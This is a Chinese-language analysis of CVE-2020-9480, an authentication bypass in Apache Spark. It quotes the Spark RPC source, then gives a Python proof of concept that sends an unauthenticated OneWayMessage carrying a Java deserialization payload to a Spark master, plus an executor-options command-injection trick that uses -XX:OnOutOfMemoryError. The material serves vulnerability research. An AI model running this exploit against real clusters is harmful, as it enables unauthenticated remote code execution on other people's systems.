CVE-2020-9480 Apache Spark 认证绕过漏洞分析

2.4.5 AuthRpcHandler
  
  @Override
  public void receive(TransportClient client, ByteBuffer message) {	
    delegate.receive(client, message);	
  }

  @Override	
  public StreamCallbackWithID receiveStream(	
      TransportClient client,	
      ByteBuffer message,	
      RpcResponseCallback callback) {	
    return delegate.receiveStream(client, message, callback);	
  }

2.4.3 AbstractAuthRpcHandler.java 
  public final void receive(TransportClient client, ByteBuffer message) {
    if (isAuthenticated) {
      delegate.receive(client, message);
    } else {
      throw new SecurityException("Unauthenticated call to receive().");
    }
  }

  @Override
  public final StreamCallbackWithID receiveStream(
      TransportClient client,
      ByteBuffer message,
      RpcResponseCallback callback) {
    if (isAuthenticated) {
      return delegate.receiveStream(client, message, callback);
    } else {
      throw new SecurityException("Unauthenticated call to receiveStream().");
    }
  }

public class TransportRequestHandler extends MessageHandler<RequestMessage> {

  ......

  public TransportRequestHandler(
      Channel channel,
      TransportClient reverseClient,
      RpcHandler rpcHandler,
      Long maxChunksBeingTransferred,
      ChunkFetchRequestHandler chunkFetchRequestHandler) {
    this.channel = channel;   /** The Netty channel that this handler is associated with. */
    this.reverseClient = reverseClient;   /** Client on the same channel allowing us to talk back to the requester. */
    this.rpcHandler = rpcHandler;    /** Handles all RPC messages. */ 
    this.streamManager = rpcHandler.getStreamManager(); /** Returns each chunk part of a stream. */
    this.maxChunksBeingTransferred = maxChunksBeingTransferred; /** The max number of chunks being transferred and not finished yet. */ 
    this.chunkFetchRequestHandler = chunkFetchRequestHandler; /** The dedicated ChannelHandler for ChunkFetchRequest messages. */
  }

  public void handle(RequestMessage request) throws Exception {
      if (request instanceof ChunkFetchRequest) {
        chunkFetchRequestHandler.processFetchRequest(channel, (ChunkFetchRequest) request);
      } else if (request instanceof RpcRequest) {
        processRpcRequest((RpcRequest) request);
      } else if (request instanceof OneWayMessage) {
        processOneWayMessage((OneWayMessage) request);
      } else if (request instanceof StreamRequest) {
        processStreamRequest((StreamRequest) request);
      } else if (request instanceof UploadStream) {
        processStreamUpload((UploadStream) request);
      } else {
        throw new IllegalArgumentException("Unknown request type: " + request);
      }
    }

  ......

  private void processRpcRequest(final RpcRequest req) {
    ......
    rpcHandler.receive(reverseClient, req.body().nioByteBuffer(), new RpcResponseCallback() {......}
    ......
  }

  private void processStreamUpload(final UploadStream req) {
  ......
  StreamCallbackWithID streamHandler = rpcHandler.receiveStream(reverseClient, meta, callback);
  ......
  }

  ......
  private void processOneWayMessage(OneWayMessage req) {
    ......
    rpcHandler.receive(reverseClient, req.body().nioByteBuffer());
    ......
  }

  private void processStreamRequest(final StreamRequest req) {
    ...
    buf = streamManager.openStream(req.streamId);
    streamManager.streamBeingSent(req.streamId);
    ...

  }

}

MessageEncoder.java
  public void encode(ChannelHandlerContext ctx, Message in, List<Object> out) throws Exception {
    Message.Type msgType = in.type();
    // All messages have the frame length, message type, and message itself. The frame length
    // may optionally include the length of the body data, depending on what message is being
    // sent.
    int headerLength = 8 + msgType.encodedLength() + in.encodedLength();
    long frameLength = headerLength + (isBodyInFrame ? bodyLength : 0);
    ByteBuf header = ctx.alloc().buffer(headerLength);
    header.writeLong(frameLength);
    msgType.encode(header);
    in.encode(header);
    assert header.writableBytes() == 0;

    if (body != null) {
      // We transfer ownership of the reference on in.body() to MessageWithHeader.
      // This reference will be freed when MessageWithHeader.deallocate() is called.
      out.add(new MessageWithHeader(in.body(), header, body, bodyLength));
    } else {
      out.add(header);
    }
  }

OneWayMessage.java
  public void encode(ByteBuf buf) {
    // See comment in encodedLength().
    buf.writeInt((int) body().size());
  }

RpcRequest.java
  @Override
  public void encode(ByteBuf buf) {
    buf.writeLong(requestId);
    // See comment in encodedLength().
    buf.writeInt((int) body().size());
  }

UploadStream.java 
public void encode(ByteBuf buf) {
    buf.writeLong(requestId);
    try {
      ByteBuffer metaBuf = meta.nioByteBuffer();
      buf.writeInt(metaBuf.remaining());
      buf.writeBytes(metaBuf);
    } catch (IOException io) {
      throw new RuntimeException(io);
    }
    buf.writeLong(bodyByteCount);

Message.java 
public static Type decode(ByteBuf buf) {
      byte id = buf.readByte();
      switch (id) {
        case 0: return ChunkFetchRequest;
        case 1: return ChunkFetchSuccess;
        case 2: return ChunkFetchFailure;
        case 3: return RpcRequest;
        case 4: return RpcResponse;
        case 5: return RpcFailure;
        case 6: return StreamRequest;
        case 7: return StreamResponse;
        case 8: return StreamFailure;
        case 9: return OneWayMessage;
        case 10: return UploadStream;
        case -1: throw new IllegalArgumentException("User type messages cannot be decoded.");
        default: throw new IllegalArgumentException("Unknown message type: " + id);
      }
    }

private[netty] class RequestMessage(
    val senderAddress: RpcAddress,
    val receiver: NettyRpcEndpointRef,
    val content: Any) {

  /** Manually serialize [[RequestMessage]] to minimize the size. */
  def serialize(nettyEnv: NettyRpcEnv): ByteBuffer = {
    val bos = new ByteBufferOutputStream()
    val out = new DataOutputStream(bos)
    try {
      writeRpcAddress(out, senderAddress)
      writeRpcAddress(out, receiver.address)
      out.writeUTF(receiver.name)
      val s = nettyEnv.serializeStream(out)
      try {
        s.writeObject(content)
      } finally {
        s.close()
      }
    } finally {
      out.close()
    }
    bos.toByteBuffer
  }

  private def writeRpcAddress(out: DataOutputStream, rpcAddress: RpcAddress): Unit = {
    if (rpcAddress == null) {
      out.writeBoolean(false)
    } else {
      out.writeBoolean(true)
      out.writeUTF(rpcAddress.host)
      out.writeInt(rpcAddress.port)
    }
  }

def build_oneway_msg(payload):
    msg_type = b'\x09'
    other_msg = '''
    01 00 0f 31 39 32 2e 31 36 38 2e 31 30 31
2e 31 32 39 00 00 89 6f 01 00 06 75 62 75 6e 74
75 00 00 1b a5 00 06 4d 61 73 74 65 72
    '''
    other_msg = other_msg.replace('\n', "").replace(' ', "")
    body_msg = bytes.fromhex(other_msg) + payload
    msg = struct.pack('>Q',len(body_msg) + 21) + msg_type 
    msg += struct.pack('>I',len(body_msg))
    msg += body_msg
    return msg

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(100)
server_address = ('192.168.101.129', 7077)
sock.connect(server_address)
# get ser_payload  构造java 反序列化payload 
payload = build_oneway_msg(ser_payload)
sock.send(payload)
time.sleep(5)
# data = sock.recv(1024)
sock.close()

./bin/spark-submit --class org.apache.spark.examples.SparkPi  --master spark://192.168.101.129:7077   --deploy-mode cluster  --executor-memory 1G --total-executor-cores 2   examples/jars/spark-examples_2.11-2.4.5.jar  10

org.apache.spark.SparkException: Unsupported message OneWayMessage(192.168.101.129:35183,RequestSubmitDriver(DriverDescription (org.apache.spark.deploy.worker.DriverWrapper))) from 192.168.101.129:35183

  override def receive: PartialFunction[Any, Unit] = {
    ...
    case RegisterWorker(
    case RegisterApplication(description, driver) 
    case ExecutorStateChanged(
    case DriverStateChanged(
    ...
  }

  override def receiveAndReply(context: RpcCallContext): PartialFunction[Any, Unit] = {
        ...
        case RequestSubmitDriver(description) 
        ...
  }

java 配置参数 -XX:OnOutOfMemoryError=touch /tmp/testspark 在JVM 发生内存错误时，会执行后续的命令
通过使用 -Xmx:1m 限制内存为 1m 促使错误发生

spark.executor.extraJavaOptions=\"-Xmx:1m -XX:OnOutOfMemoryError=touch /tmp/testspark\"

Exception in thread "main" java.lang.IllegalArgumentException: Executor memory 1048576 must be at least 471859200. Please increase executor memory using the --executor-memory option or spark.executor.memory in Spark configuration.